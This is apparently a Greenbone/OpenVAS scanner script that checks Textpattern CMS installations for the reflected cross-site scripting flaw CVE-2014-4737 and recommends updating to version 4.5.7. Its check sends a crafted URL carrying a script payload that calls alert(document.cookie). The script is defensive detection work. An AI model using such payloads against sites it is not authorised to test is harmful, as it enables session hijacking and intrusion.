Textpattern CMS 'index.php' XSS Vulnerability - Active Check

# Copyright (C) 2014 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

CPE = "cpe:/a:textpattern:textpattern";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.804499");
  script_version("2022-06-01T08:09:05+0000");
  script_tag(name:"last_modification", value:"2022-06-01 08:09:05 +0000 (Wed, 01 Jun 2022)");
  script_tag(name:"creation_date", value:"2014-10-16 16:06:39 +0530 (Thu, 16 Oct 2014)");
  script_tag(name:"cvss_base", value:"4.3");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");

  script_cve_id("CVE-2014-4737");

  script_tag(name:"qod_type", value:"remote_analysis");

  script_tag(name:"solution_type", value:"VendorFix");

  script_name("Textpattern CMS 'index.php' XSS Vulnerability - Active Check");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2014 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("gb_textpattern_cms_http_detect.nasl");
  script_mandatory_keys("textpattern_cms/http/detected");
  script_require_ports("Services/www", 80);

  script_tag(name:"summary", value:"Textpattern CMS is prone to a cross-site scripting (XSS)
  vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks the response.");

  script_tag(name:"insight", value:"The flaw exists due to insufficient sanitization of input data
  passed via URI after '/textpattern/setup/index.php' script.");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to execute arbitrary
  HTML and script code in a user's browser session in the context of an affected site.");

  script_tag(name:"affected", value:"Textpattern CMS version 4.5.5 and probably prior.");

  script_tag(name:"solution", value:"Update to version 4.5.7 or later.");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/96802");
  script_xref(name:"URL", value:"https://www.htbridge.com/advisory/HTB23223");
  script_xref(name:"URL", value:"http://packetstormsecurity.com/files/128519/");
  script_xref(name:"URL", value:"http://www.securityfocus.com/archive/1/archive/1/533596/100/0/threaded");
  script_xref(name:"URL", value:"http://textpattern.com/weblog/379/textpattern-cms-457-released-ten-years-on");

  exit(0);
}

include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");

if (!port = get_app_port(cpe: CPE, service: "www"))
  exit(0);

if (!dir = get_app_location(cpe: CPE, port: port))
  exit(0);

if (dir == "/")
  dir = "";

url = dir + '/setup/index.php/"><script>alert(document.cookie);</script>/index.php';

if (http_vuln_check(port: port, url: url, check_header:TRUE,
                    pattern:"<script>alert\(document\.cookie\);</script>",
                    extra_check: ">Welcome to Textpattern<")) {
  report = http_report_vuln_url(port: port, url: url);
  security_message(port: port, data: report);
  exit(0);
}

exit(99);